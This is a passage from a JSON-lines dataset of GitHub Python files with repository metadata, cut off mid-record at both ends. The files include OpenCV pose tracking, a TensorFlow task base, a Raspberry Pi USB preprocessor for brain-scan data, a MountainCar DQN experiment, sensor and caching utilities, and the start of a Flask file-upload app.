frame_new_dir = os.path.join(temp, procedure_basename)\n                # Get the list of legacy frames\n                frame_legacy_paths = self.get_legacy_paths(frame_dir)\n                # Check if at least one legacy frame\n                if frame_legacy_paths:\n                    # We have not the revisions\n                    frame_revisions = dict([(path, 0) for path in frame_legacy_paths])\n                    # Load frame map\n                    frame_map = load_frame_map(os.path.join(frame_dir, FRAME_MAP_BASENAME))\n                    # Map old names with new ones\n                    frame_new_names = self.get_new_names(frame_dir, frame_map, frame_revisions)\n                    # Also compile the legacy ones if required\n                    if compile_legacy:\n                        frame_new_names.update(dict([(self.get_name(frame_legacy_path), frame_legacy_path) for frame_legacy_path in frame_legacy_paths]))\n                    # Generate all frames\n                    self.generate_all(schema_version, procedure_name, all_mo, frame_new_dir, frame_new_names, 'latin1')\n                    # At least one frame\n                    has_frame = True\n                # Get the list of new frames\n                frame_paths = self.get_paths(frame_dir)\n                # Check if at least one new frame\n                if frame_paths:\n                    # Get frame names\n                    frame_names = dict([(self.get_name(frame_path), frame_path) for frame_path in frame_paths])\n                    # Generate all frames\n                    self.generate_all(schema_version, procedure_name, all_mo, frame_new_dir, frame_names, 'utf-8')\n                    # At least one frame\n                    has_frame = True\n                # Check if at least one frame\n                if has_frame:\n                    # Log\n                    log.info('compile %d:%s frames', schema_version, procedure_name)\n                    # Compile all the frames\n                    self.compile(schema_version, procedure_name, frame_new_dir, output_dir)\n        # No frame, log it\n        if not has_frame:\n            log.info('%d:%s has no frame', schema_version, procedure_name)\n","repo_name":"azizlahmedi/iadev5.0","sub_path":"factory/backends/frame.py","file_name":"frame.py","file_ext":"py","file_size_in_byte":22032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24445006747","text":"import cv2\r\nfrom cvzone.PoseModule import PoseDetector\r\n\r\ncap = cv2.VideoCapture('1.flv')\r\n\r\n_ISOPENED = cap.isOpened()\r\ndetertor = PoseDetector()\r\n\r\nposList = [] \r\nwhile True:\r\n    success, img = cap.read()\r\n    img = detertor.findPose(img)\r\n    lmList, bboxInfo = detertor.findPosition(img)  \r\n\r\n    if bboxInfo:\r\n        lmString = ''\r\n        for lm in lmList:\r\n            #opencv和unity的定位点不同所以要做y轴反转\r\n            lmString += f'{lm[1]},{img.shape[0]-lm[2]},{lm[3]},'\r\n        posList.append(lmString)\r\n\r\n    img = cv2.resize(img, (0, 0), fx=0.4, fy=0.4, interpolation=cv2.INTER_NEAREST)\r\n    cv2.imshow(\"Image\",img)\r\n    key = cv2.waitKey(1)\r\n\r\n    if key == ord('s'):\r\n        with open(\"AnimationFile.txt\",'w') as f:\r\n            f.writelines([\"%s\\n\" % item for item in posList])","repo_name":"ZPAA-123/PoseTrack","sub_path":"unity.py","file_name":"unity.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"26880298794","text":"import os\nimport collections\nfrom contextlib import contextmanager\n\nimport tensorflow as tf\n\nfrom mayo.log import log\nfrom mayo.net.tf import TFNet\nfrom mayo.session.test import Test\n\n\nclass TFTaskBase(object):\n    \"\"\"Specifies common training and evaluation tasks.  \"\"\"\n    debug = False\n\n    def __init__(self, session):\n        super().__init__()\n        self.is_test = isinstance(session, Test)\n        self.session = session\n        self.config = session.config\n        self.num_gpus = self.config.system.num_gpus\n        self.mode = session.mode\n        self.estimator = session.estimator\n        self._instantiate_nets()\n\n    @contextmanager\n    def _gpu_context(self, gid):\n        with tf.device('/gpu:{}'.format(gid)):\n            with tf.name_scope('tower_{}'.format(gid)) as scope:\n                yield scope\n\n    def map(self, func):\n        iterer = enumerate(zip(self.nets, self.predictions, self.truths))\n        for i, (net, prediction, truth) in iterer:\n            with self._gpu_context(i):\n                yield func(net, prediction, truth)\n\n    @staticmethod\n    def _test_files(folder):\n        suffixes = ['.jpg', '.jpeg', '.png']\n        files = [\n            name for name in sorted(os.listdir(folder))\n            if any(name.endswith(s) for s in suffixes)]\n        log.debug(\n            'Running in folder {!r} on images: {}'\n            .format(folder, ', '.join(files)))\n        return [os.path.join(folder, name) for name in files]\n\n    def _instantiate_nets(self):\n        nets = []\n        inputs = []\n        predictions = []\n        truths = []\n        names = []\n        model = self.config.model\n        iterer = self.generate()\n        for i, (data, additional) in enumerate(iterer):\n            if self.is_test:\n                name, truth = additional[0], None\n            else:\n                name, truth = None, additional\n            log.debug('Instantiating graph for GPU #{}...'.format(i))\n            with self._gpu_context(i):\n                net = TFNet(self.session, model, data, bool(nets))\n            nets.append(net)\n            prediction = net.outputs()\n            data, prediction, truth = self.transform(\n                net, data, prediction, truth)\n            if i == 0 and self.debug:\n                self._register_estimates(prediction, truth)\n            inputs.append(data)\n            predictions.append(prediction)\n            truths.append(truth)\n            names.append(name)\n        self.nets = nets\n        self.inputs = inputs\n        self.predictions = predictions\n        self.truths = truths\n        self.names = names\n\n    def _register_estimates(self, prediction, truth):\n        def register(root, mapping):\n            history = 'infinite' if self.mode == 'validate' else None\n            if not isinstance(mapping, collections.Mapping):\n                if mapping is not None:\n                    self.estimator.register(mapping, root, history=history)\n                return\n            for key, value in mapping.items():\n                register('{}.{}'.format(root, key), value)\n        register('prediction', prediction)\n        register('truth', truth)\n\n    def transform(self, net, data, prediction, truth):\n        return data, prediction, truth\n\n    def generate(self):\n        raise NotImplementedError(\n            'Please implement .generate() which produces training/validation '\n            'samples and the expected truth results.')\n\n    def augment(self, serialized):\n        raise NotImplementedError(\n            'Please implement .augment() which augments input tensors.')\n\n    def train(self, net, prediction, truth):\n        raise NotImplementedError(\n            'Please implement .train() which returns the loss tensor.')\n\n    def eval(self):\n        raise NotImplementedError(\n            'Please implement .eval() which registers the evaluation metrics.')\n\n    def post_eval(self):\n        raise NotImplementedError(\n            'Please impelement .post_eval() which computes an info dict '\n            'for the evaluation metrics.')\n\n    def test(self, name, prediction):\n        raise NotImplementedError(\n            'Please implement .test() which produces human-readable output '\n            'for a given input.')\n","repo_name":"deep-fry/mayo","sub_path":"mayo/task/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4227,"program_lang":"python","lang":"en","doc_type":"code","stars":110,"dataset":"github-code","pt":"19"}
{"seq_id":"18642168338","text":"# File: examples/sklearn_refactored_script.py\nfrom sklearn.datasets import load_boston\nfrom sklearn.ensemble import GradientBoostingRegressor\nfrom sklearn.linear_model import LinearRegression\nimport pandas as pd\n\nclass ExtractTrainingSet:\n\n    def run(self):\n        df = load_boston()\n        return dict(\n            x=pd.DataFrame(df.data, columns=df.feature_names),\n            y=pd.DataFrame(df.target, columns=['target'])\n        )\n\nclass TrainModel:\n\n    MODELS = {\n        'ols': LinearRegression,\n        'gbm': GradientBoostingRegressor,\n    }\n\n    def __init__(self, model, x, y):\n        if model not in self.MODELS:\n            raise ValueError(f'invalid model: {model}')\n        self.model = model\n        self.x = x\n        self.y = y\n\n    def run(self):\n        model = self.MODELS[self.model]()\n        model.fit(self.x, self.y)\n        score = model.score(self.x, self.y)\n        return {'score': score}\n","repo_name":"soasme/runflow","sub_path":"examples/sklearn_refactored_script.py","file_name":"sklearn_refactored_script.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"19"}
{"seq_id":"38521558938","text":"# 617 JungEun : 230608 THU mission 22 (1) \n# 2th type1-3\n# basic1.csv -> 'age' 컬럼의 이상치(IQR로 구하는 방법)를 더하라.\n\n# 1. Data and libraries\nimport pandas as pd\ndf = pd.read_csv('/kaggle/input/bigdatacertificationkr/basic1.csv')\n\n\n\n# 2. Get the std and limit line values of normal data\navg, std = df['age'].mean(), df['age'].std()\n\n\n\n# 3. Define abnormal data and Print it\nprint(df[(df['age'] < avg-std*1.5)|(df['age'] > avg + std*1.5)]['age'].sum())\n\n# 473.5\n\n\n\n# 풀이\n# 라이브러리 및 데이터 불러오기\nimport pandas as pd\nimport numpy as np\n\ndf = pd.read_csv('../input/bigdatacertificationkr/basic1.csv')\n\nstd = df['age'].std() * 1.5\nmean = df['age'].mean()\n\nmin_out = mean - std\nmax_out = mean + std\nprint(min_out, max_out)\n# 5.298862216116952 96.62713778388306\n\n\n# 이상치 age합\ndf[(df['age']>max_out)|(df['age']<min_out)]['age'].sum()\n\n# 다르게 작성방법\n# df.loc[(df['age'] > max)]['age'].sum() + df.loc[(df['age']< min)]['age'].sum()\n","repo_name":"Angela-Park-JE/certificate_study","sub_path":"Big_Data_Analyst/작업형1/previoustest-02-T1-3.py","file_name":"previoustest-02-T1-3.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"41712958888","text":"import os, time, re, glob\nimport h5py\nimport nibabel as nib\nimport numpy as np\nfrom gpiozero import LED\n\ndef usb_inserted():\n\n    devices = os.popen('sudo blkid').readlines()\n\n\n    usbs = []\n    for u in devices:\n        loc = [u.split(':')[0]]\n        if '/dev/sd' not in loc[0]: \n              continue # skip \n        loc+=re.findall(r'\"[^\"]+\"',u)\n        columns = ['loc']+re.findall(r'\\b(\\w+)=',u)\n    \n        usbs.append(dict(zip(columns,loc)))\n        \n        if len(usbs) > 0:\n            flag = True\n        if len(usbs) == 0:\n            flag = False\n        return flag\n\ndef standardize(image):\n\n  standardized_image=np.zeros(image.shape)\n  for c in range(image.shape[0]):\n    for z in range(image.shape[3]):\n      image_slice = image[c,:,:,z]\n      centered = image_slice - np.mean(image_slice)\n      if np.std(centered) != 0:\n                centered_scaled = centered / np.std(centered)\n      else:\n        centered_scaled=centered\n      standardized_image[c, :, :, z] = centered_scaled\n  return standardized_image\n\ndef saveh5(filename,cbf_data,cbv_data,mtt_data,tmax_data):\n    cbf_data=cbf_data.reshape(1,256,256,8)\n    cbv_data=cbv_data.reshape(1,256,256,8)\n    mtt_data=mtt_data.reshape(1,256,256,8)\n    tmax_data=tmax_data.reshape(1,256,256,8)\n    image_data=np.concatenate((cbf_data,cbv_data,mtt_data,tmax_data),axis=0)\n    image_data = standardize(image_data)\n    \n    with h5py.File('/home/pi/brain_stroke/preprocess/'+str(filename),'w') as f:\n        f.create_dataset(\"X_train\",data=image_data)\n    f.close()\n\n\n####MAIN#############\nprint(\"Waiting for USB...\")\nled_r = LED(23)\nled_g = LED(24)\nwhile True:\n    if usb_inserted():\n        break\n    else:\n        led_r.on()\n        time.sleep(0.5)\n        led_r.off()\n        time.sleep(0.5)\n        \nprint(\"USB Inserted\")\nled_r.off()\ntime.sleep(2)\n\nusb_path = glob.glob('/media/pi/*/')\nprint(f\"USB Path:{usb_path[0]}\")\nfiles_in_usb = glob.glob(str(usb_path[0]) + '/*/')\nprint(f\"Files in usb: {files_in_usb}\")\nfiles_in_usb = [i for i in files_in_usb if 'System' not in i]\n\n#print(files_in_usb)\n\nfor file in files_in_usb:\n    cbf_path = glob.glob(file+'/*CBF.*/*.nii')[0]\n    cbv_path = glob.glob(file+'/*CBV.*/*.nii')[0]\n    mtt_path = glob.glob(file+'/*MTT.*/*.nii')[0]\n    tmax_path= glob.glob(file+'/*Tmax*/*.nii')[0]\n    \n    file = file.split('/')[-2]\n    \n    cbf_obj=nib.load(cbf_path)\n    cbv_obj=nib.load(cbv_path)\n    mtt_obj=nib.load(mtt_path)\n    tmax_obj=nib.load(tmax_path)\n    \n    cbf = cbf_obj.get_fdata()\n    cbv = cbv_obj.get_fdata()\n    mtt = mtt_obj.get_fdata()\n    tmax=tmax_obj.get_fdata()\n    \n    if cbf.shape[2] != 8:\n        print(cbf.shape)\n        if cbf.shape[2] > 8:\n            n = cbf.shape[2]\n            n = n - (n%8)\n            for i in range(0,n):\n                name = file + str(i)\n                saveh5(name,cbf[:,:,(i*8):(i+1)*8],cbv[:,:,(i*8):(i+1)*8],mtt[:,:,(i*8):(i+1)*8],tmax[:,:,(i*8):(i+1)*8])\n                \n        if cbf.shape[2] < 8:\n            while cbf.shape[2] <= 8:\n                cbf = np.concatenate([cbf,cbf],axis=2)\n                cbv = np.concatenate([cbv,cbv],axis=2)\n                mtt = np.concatenate([mtt,mtt],axis=2)\n                tmax= np.concatenate([tmax,tmax],axis=2)\n            print(cbf.shape)                \n            saveh5(file,cbf[:,:,:8],cbv[:,:,:8],mtt[:,:,:8],tmax[:,:,:8])\n            \n    if cbf.shape[2] == 8:\n        saveh5(file,cbf,cbv,mtt,tmax)\n        \n        \n\n\n    ","repo_name":"omair4/Brain-Stroke-segmentation-using-3d-unet-RaspberryPi","sub_path":"usb_preprocessor.py","file_name":"usb_preprocessor.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"26337134000","text":"##the import \"neuralNet\" is referred from \n##https://towardsdatascience.com/an-introduction-to-neural-networks-with-implementation-from-scratch-using-python-da4b6a45c05b\nimport neuralNet\n\nimport os\nimport gym\nimport numpy as np\nimport random\nimport ipdb\nimport math\nimport matplotlib.pyplot as plt\nenv = gym.make('MountainCar-v0')\n\n#increase length of episode. Referred from\n#https://www.reddit.com/r/reinforcementlearning/comments/agd6j4/how_to_change_episode_length_and_reward/\nenv._max_episode_steps = 2000\n\n#entire function referred from\n#https://www.youtube.com/watch?v=KzsBaqYzNLc&ab_channel=Jakester897\ndef get_reward(state):\n    if(state>=0.5):\n        return 2\n    else:\n        reward = (state+1.2)/1.8 -1\n    return reward\n\nreplay_mem = []\n\n## initialise the replay memory with 20,000 random samples\ndef generate_replay():\n    for i in range(100):\n        observation = env.reset()\n        for t in range(200):\n            #ipdb.set_trace()\n            state1 = observation[0]\n            state2 = observation[1]\n            action = env.action_space.sample()\n            new_observation, reward, done, info = env.step(action)\n            new_state = [new_observation[0],new_observation[1]]\n            reward = get_reward(new_observation[0])\n            attach = ([state1,state2],reward,new_state,action)\n            #print(attach)\n            replay_mem.append(attach)\n            if(done):\n                break\n            observation = new_observation\n    return replay_mem\n\n##create a directory to save results\n##https://www.tutorialspoint.com/How-can-I-create-a-directory-if-it-does-not-exist-using-Python\nif not os.path.exists('results'):\n    os.makedirs('results')\n\nstart_lr=0\nstart_batch=0\nreward_batch = []\ntotal_goal = []\n#read_text('./progress.txt')\nreplay_mem = generate_replay()\nreward_tot = []\nprint(len(replay_mem))\n\neps = 1.0\n\n#declare neural network architecture\nlayers = [2,150,100,3]\n\n##initialise 2 neural networks\nparam = neuralNet.initialize_params(layers)\nbase_param = neuralNet.initialize_params(layers)\n\n\nflag=0\ngoal = 0\nflag_goal = 0\ngoal_list = []\n\n\nfor i in range(len(total_goal)):\n    if(total_goal[i]==0):\n        goal_list.append(list([]))\n    else:\n        goal_list.append(total_goal[i])\n\n##iterate over different batch and learning rate values\nbatch = [30,100,500]\nlr = [0.01,0.001,0.0001]\n\nfor lr_i in range(len(lr)):\n    for batch_i in range(len(batch)):\n        reward_mean = []\n        reward_batch = []\n        loss= 0\n        eps = 1.0\n        goal_lis = []\n        flag=0\n        goal = 0\n        param = neuralNet.initialize_params(layers)\n        base_param = neuralNet.initialize_params(layers)\n        for i in range(1000):\n            observation = env.reset()\n            tot_reward = 0\n            for t in range(1000):\n                #ipdb.set_trace()    \n                state1 = observation[0]\n                state2 = observation[1]\n                curr_state = np.reshape(np.array([state1,state2]),(1,2))\n\n                #get q value for current state\n                q_val_curr = neuralNet.forward_propagation(np.transpose(curr_state),param)\n                q_val_curr = q_val_curr[\"A3\"]\n                \n                ##epsilon greedy strategy\n                ##following 4 lines referred from \n                ##https://github.com/ikvibhav/reinforcement_learning/blob/master/code/mountain_car/mountain_car_sarsa.py\n                if np.random.random() > eps:\n                    action = np.argmax(q_val_curr)\n                else:\n                    action = np.random.randint(0, env.action_space.n)\n                \n                new_observation, reward, done, info = env.step(action)\n                \n                ##get custom reward\n                reward = get_reward(new_observation[0])\n                tot_reward = tot_reward + reward\n\n                ##termination condition to consider that MountainCar is solved\n                if(new_observation[0]>=0.5):\n                    if(eps<0.5):\n                        goal = goal+1\n                        goal_lis.append(i)\n                    print(\"Goal is:\",goal)\n                    print(\"Episode is:\",i)\n                    done = True\n                    #terminate if car reached goal 3 times\n                    if(goal >= 3):\n                        flag = 1\n                    break\n                new_state1 = new_observation[0]\n                new_state2 = new_observation[1]\n                \n                ##append to replay memory and pop the first sample\n                if(len(replay_mem)>2000):\n                    replay_mem.pop(0)\n                replay_mem.append(([state1,state2],reward,[new_state1,new_state2],action))\n                \n                if(done):\n                    break\n                \n                ##randomly sample from replay memory. \n                ##following line referred from\n                ##https://stackoverflow.com/questions/22842289/generate-n-unique-random-numbers-within-a-range\n                sample = random.sample(range(0, len(replay_mem)), batch[batch_i])\n                \n                input_curr_state = []\n                input_next_state = []\n                action = []\n                reward = []\n                \n                ##processing after getting the samples\n                for i_curr in range(len(sample)):\n                    input_curr_state.append(replay_mem[sample[i_curr]][0])\n                    input_next_state.append(replay_mem[sample[i_curr]][2])\n                    action.append(int(replay_mem[sample[i_curr]][3]))\n                    reward.append(replay_mem[sample[i_curr]][1])\n                \n                #ipdb.set_trace()\n                input_curr_state = np.array(input_curr_state)\n                input_next_state = np.array(input_next_state)\n                \n                #get q value for current state and next state\n                y_pred_dict = neuralNet.forward_propagation(np.transpose(input_curr_state),param)\n                y_pred = (np.transpose(y_pred_dict[\"A3\"]))\n                next_state_y = neuralNet.forward_propagation(np.transpose(input_next_state),base_param)\n                next_state_y = (np.transpose(next_state_y[\"A3\"]))\n                #get the maximum q value for next state\n                max_next_state = np.max(next_state_y,axis=1)\n\n                ##determine if next state is terminal state. \n                # This is done by looking at reward function. \n                # If it is negative then state was terminal.\n                for i_curr in range(len(max_next_state)):\n                    ##if next state is terminal state then do not consider it.\n                    if(reward[i_curr]==-1):\n                        max_next_state[i_curr] = 0\n\n                #calculating the expected q value     \n                y = reward + 0.99*max_next_state\n\n                ##processing to compute loss. I have used L1 loss in this code\n                y_final = y_pred.copy()\n                y_pred_final = []\n                for i_curr in range(len(y_final)):\n                    y_pred_final.append(y_final[i_curr][action[i_curr]])\n                    y_final[i_curr][action[i_curr]] = y[i_curr]\n                try:\n                    loss = np.mean(np.abs(y-y_pred_final))\n                except Exception as e:\n                    print(\"Exception ocurred\")\n                \n                ##perform gradient descent\n                ##https://towardsdatascience.com/an-introduction-to-neural-networks-with-implementation-from-scratch-using-python-da4b6a45c05b\n                grads = neuralNet.backward_propagation(param,y_pred_dict,np.transpose(input_curr_state),np.transpose(y_final))\n                ##update parameters\n                param = neuralNet.update_params(param, grads, lr[lr_i])\n                observation = new_observation\n\n            ##epsilon decay\n            ##https://github.com/philtabor/Youtube-Code-Repository/blob/master/ReinforcementLearning/Fundamentals/mountaincar.py\n            eps = eps - 2/100 if eps > 0.01 else 0.01\n    \n            if(i%100==0):\n                print(i,eps,loss,tot_reward)\n            if(math.isnan(loss)):\n                print(eps)\n                print(\"Gradient Exploded\")\n                break\n            reward_tot.append(tot_reward)\n\n            ##update target network every 1000 episodes. This is done to keep the DQN stable\n            if(i%100==0 and i>100):\n                base_param = param\n\n            if(flag==1):\n                break\n\n            if(i==0):\n                reward_mean.append(np.float(tot_reward))\n            else:\n                reward_mean.append(np.float(reward_mean[-1]+tot_reward))\n        mean_print = []\n        for i in range(len(reward_mean)):\n            if(math.isnan(reward_mean[i])):\n                break\n            mean_print.append((reward_mean[i])/(i+1))\n        reward_mean_copy = mean_print.copy()\n        reward_batch.append(reward_mean_copy)\n        if(len(goal_lis)==0):\n            total_goal.append([0])\n        else:\n            total_goal.append(goal_lis)\n       \n        goal_list.append(goal_lis)\n        ##following 2 lines referred from\n        ##https://stackoverflow.com/questions/28439701/how-to-save-and-load-numpy-array-data-properly\n        np.save(('./results/result_np'+str(lr_i)),np.array(total_goal))\n        np.save(('./results/pregress_np'+str(lr_i)+str(batch_i)),np.array(reward_batch))\n        \n        print(\"Batch finished\",batch_i)\n    start_batch =0\n    print(\"Alpha finished\",lr_i)\nprint(\"Finished!!!\")\nprint(len(total_goal))\nprint(total_goal[0])\n","repo_name":"rohanakut/Cartpole-Car","sub_path":"mountain/dqn/nn_mountain_variation.py","file_name":"nn_mountain_variation.py","file_ext":"py","file_size_in_byte":9584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"7886440137","text":"# Se importan las librerías a utilizar\nimport time\n# La librería board es una forma de llamar a los pines de la Rpi\nimport board\n# Se importa la librería del bme280 de adafruit\nfrom adafruit_bme280 import basic as adafruit_bme280\n\n# Se crea el sensro, usando los pines por defecto de la Rpi para I2C\ni2c = board.I2C()  # Usa los pines board.SCL (3) y board.SDA (2)\n# Debido a que el sensor que tenemos cuenta con la dirección 0x76 y no 0x77 que es con la que viene por defecto\n# Se debe agregar el parámetro de address como se observa abajo\nbme280 = adafruit_bme280.Adafruit_BME280_I2C(i2c, address=0x76)\n\n# Se debe colocar la presión (hPa) sobre el nivel del mar del lugar en que se encuentre\n# Sería bueno consumir un api que entregue esta información a partir de las coordenadas\nbme280.sea_level_pressure = 1010\n\nwhile True:\n    print(\"\\nTemperatura: %0.1f C\" % bme280.temperature)\n    print(\"Humedad: %0.1f %%\" % bme280.relative_humidity)\n    print(\"Presión: %0.1f hPa\" % bme280.pressure)\n    print(\"Altura = %0.2f metros\" % bme280.altitude)\n    time.sleep(2)\n","repo_name":"miguepoloc/sensores","sub_path":"test/bme280.py","file_name":"bme280.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"37615752550","text":"import os\nimport collections\nimport json\nimport pickle\nimport time\nfrom datetime import datetime, timedelta, date\nfrom concurrent.futures import ThreadPoolExecutor\nimport click\nfrom appdirs import user_cache_dir\n\nimport calendar\n\nimport math\n\ntry:\n    import numpy as np\nexcept:\n    np = None\n\ndef np_exception(function):\n    def wrapper(*args, **kwargs):\n        if not np:\n            raise ModuleNotFoundError(\"Please install pandas and numpy using \\n pip install pandas\")\n        return function(*args, **kwargs)\n\n    return wrapper\n\n@np_exception\ndef np_float(num):\n    try:\n        return np.float64(num)\n    except:\n        return np.nan\n\n@np_exception\ndef np_date(dt):\n    try:\n        return np.datetime64(dt)\n    except:\n        pass\n\n    try:\n        dt = datetime.strptime(dt, \"%d-%b-%Y\").date()\n        return np.datetime64(dt)\n    except:\n        pass\n\n    try:\n        dt = datetime.strptime(dt, \"%d %b %Y\").date()\n        return np.datetime64(dt)\n    except:\n        pass\n\n\n\n    return np.datetime64('nat') \n\n    \n@np_exception\ndef np_int(num):\n    try:\n        return np.int64(num)\n    except:\n        return 0\n\ndef break_dates(from_date, to_date):\n    if from_date.replace(day=1) == to_date.replace(day=1):\n        return [(from_date, to_date)]\n    date_ranges = []\n    month_start = from_date\n    month_end = month_start.replace(day=calendar.monthrange(month_start.year, from_date.month)[1])\n    while(month_end < to_date):\n        date_ranges.append((month_start, month_end))\n        month_start = month_end + timedelta(days=1)\n        month_end = month_start.replace(day=calendar.monthrange(month_start.year, month_start.month)[1])\n        if month_end >= to_date:\n            date_ranges.append((month_start, to_date))\n    return date_ranges\n\n\ndef kw_to_fname(**kw):\n    name = \"-\".join([str(kw[k]) for k in sorted(kw) if k != \"self\"])\n    return name\n\n\n\ndef cached(app_name):\n    \"\"\"\n        Note to self:\n            This is a russian doll\n            wrapper - actual caching mechanism\n            _cached - actual decorator\n            cached - wrapper around decorator to make 'app_name' dynamic\n    \"\"\"\n    def _cached(function):\n        def wrapper(*args, **kw):\n            kw.update(zip(function.__code__.co_varnames, args))\n            env_dir = os.environ.get(\"J_CACHE_DIR\")\n            if not env_dir:\n                cache_dir = user_cache_dir(app_name, app_name)\n            else:\n                cache_dir = os.path.join(env_dir, app_name)\n\n            file_name = kw_to_fname(**kw)\n            path = os.path.join(cache_dir, file_name)\n            if not os.path.isfile(path):    \n                if not os.path.exists(cache_dir):\n                    os.makedirs(cache_dir)\n                j = function(**kw)\n                with open(path, 'wb') as fp:\n                    pickle.dump(j, fp)        \n            else:\n                with open(path, 'rb') as fp:\n                    j = pickle.load(fp)\n            return j\n        return wrapper\n    return _cached\n\n\ndef pool(function, params, use_threads=True, max_workers=2):\n    if use_threads:\n        with ThreadPoolExecutor(max_workers=max_workers) as ex:\n            dfs = ex.map(function, *zip(*params))\n    else:\n        dfs = []\n        for param in params:\n            try:\n                r = function(*param)\n            except:\n                raise \n            dfs.append(r)\n    return dfs\n\ndef live_cache(app_name):\n    \"\"\"Caches the output for time_out specified. This is done in order to\n    prevent hitting live quote requests to NSE too frequently. This wrapper\n    will fetch the quote/live result first time and return the same result for\n    any calls within 'time_out' seconds.\n\n    Logic:\n        key = concat of args\n        try:\n            cached_value = self._cache[key]\n            if now - self._cache['tstamp'] < time_out\n                return cached_value['value']\n        except AttributeError: # _cache attribute has not been created yet\n            self._cache = {}\n        finally:\n            val = fetch-new-value\n            new_value = {'tstamp': now, 'value': val}\n            self._cache[key] = new_value\n            return val\n\n    \"\"\"\n    def wrapper(self, *args, **kwargs):\n        \"\"\"Wrapper function which calls the function only after the timeout,\n        otherwise returns value from the cache.\n\n        \"\"\"\n        # Get key by just concating the list of args and kwargs values and hope\n        # that it does not break the code :P \n        inputs =  [str(a) for a in args] + [str(kwargs[k]) for k in kwargs]\n        key = app_name.__name__ + '-'.join(inputs)\n        now = datetime.now()\n        time_out = self.time_out\n        try:\n            cache_obj = self._cache[key]\n            if now - cache_obj['timestamp'] < timedelta(seconds=time_out):\n                return cache_obj['value']\n        except:\n            self._cache = {}\n        value = app_name(self, *args, **kwargs)\n        self._cache[key] = {'value': value, 'timestamp': now}\n        return value\n\n    return wrapper \n\n","repo_name":"jugaad-py/jugaad-data","sub_path":"jugaad_data/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":5034,"program_lang":"python","lang":"en","doc_type":"code","stars":246,"dataset":"github-code","pt":"19"}
{"seq_id":"11606874228","text":"try:           \n    from cv2 import cv2\nexcept Exception:\n    import cv2\nimport numpy as np\n\nmax_x = 1000\nmax_y = 500\n\n\ndef resize(img, x = 800, y = 800):\n    return cv2.resize(img, (x,y), interpolation = cv2.INTER_AREA)\n\n\ndef auto_resize(img):\n    if (img.shape[0] / img.shape[1]) > (max_y / max_x):\n        return resize(img, int(max_y * img.shape[1] / img.shape[0]), max_y)\n    else:\n        return resize(img, max_x, int(max_x * img.shape[0] / img.shape[1]))\n    return(\"forbidden poop\")\n\n\ndef get_blank_image(rows,cols,color = False):\n    if color:\n        return np.zeros((rows, cols, 3), np.uint8)\n    else:\n        return np.zeros((rows, cols, 1), np.uint8)\n\ndef copy_blank(image):\n    im = image.copy()\n    im.fill(0)\n    return im","repo_name":"johnwilmanns/GantryGame3.0","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"}
{"seq_id":"39839626752","text":"n, t = map(int, input().split())\nstudy = [(0, 0)]\n\nfor _ in range(n):\n    k, s = map(int, input().split())\n    study.append((k, s))\n\narr = [[0 for _ in range(t + 1)] for _ in range(n + 1)]\n\nfor i in range(1, n + 1):\n    for j in range(1, t + 1):\n        time = study[i][0]\n        score = study[i][1]\n\n        if j < time:\n            arr[i][j] = arr[i - 1][j]\n        else:\n            arr[i][j] = max(arr[i - 1][j - time] + score, arr[i - 1][j])\n\nprint(arr[i][j])\n","repo_name":"vanellotree/daily-algorithm","sub_path":"BOJ/knapsack/14728-벼락치기.py","file_name":"14728-벼락치기.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"17331315206","text":"from flask import (\n    Blueprint,\n    render_template,\n    request,\n    Response,\n)\nfrom .configloader import config\nimport os\nfrom .utils import *\nimport random\nimport traceback\n\nrouter = Blueprint(\"router\", __name__, url_prefix=\"/\")\nroot_folder = os.path.dirname(os.path.abspath(__file__))\n\n# 404 Page\n@router.app_errorhandler(404)\n@router.app_errorhandler(405)\ndef not_found(e):\n    return render_template(\"error.html\", title=\"404 - Page not found\", message=\"Ala ala, are you lost ?\"), 404\n\n@router.app_errorhandler(403)\ndef unauthorized(e):\n    return render_template(\"error.html\", title=\"403 - Unauthorized\", message=\"Ala ala, are you allowed to see this page ?\"), 403\n\nif config[\"env\"] == \"production\":\n    @router.errorhandler(Exception)\n    def server_error(e):\n        print(traceback.format_exc())\n        return render_template(\"error.html\", title=\"500 - Internal server error\", message=\"Ala ala, an error occured, try in few minutes\"), 500\n\n@router.app_errorhandler(500)\ndef server_error(e):\n    return render_template(\"error.html\", title=\"500 - Internal server error\", message=\"Ala ala, an error occured, try in few minutes\"), 500\n\n# Home route\n@router.route(\"/\", methods=[\"GET\"])\ndef home():\n    return render_template(\"home.html\", title=\"File uploader\", max_size=config[\"upload\"][\"max_size\"], git_hash=git_hash())\n\n# FAQ route\n@router.route(\"/faq\", methods=[\"GET\"])\ndef faq():\n    return render_template(\"faq.html\", title=\"FAQ\", ext_unauthorized=config[\"upload\"][\"unauthorized_ext\"], git_hash=git_hash())\n\n# ShareX route\n@router.route(\"/sharex\", methods=[\"GET\"])\ndef sharex():\n    return render_template(\"sharex.html\", title=\"ShareX\", git_hash=git_hash())\n\n# Upload files\n@router.route(\"/upload\", methods=[\"POST\"])\ndef upload_files():\n    # Get upload domain\n    if \"UPLOAD_DOMAIN\" in request.form:\n        if request.form[\"UPLOAD_DOMAIN\"] not in config[\"upload\"][\"domain\"]:\n            return json_with_statuscode({\n                \"success\": False,\n                \"error\": \"Invalid upload domain.\"\n            }, 400)\n        else:\n            upload_domain = request.form[\"UPLOAD_DOMAIN\"]\n    else:\n        upload_domain = 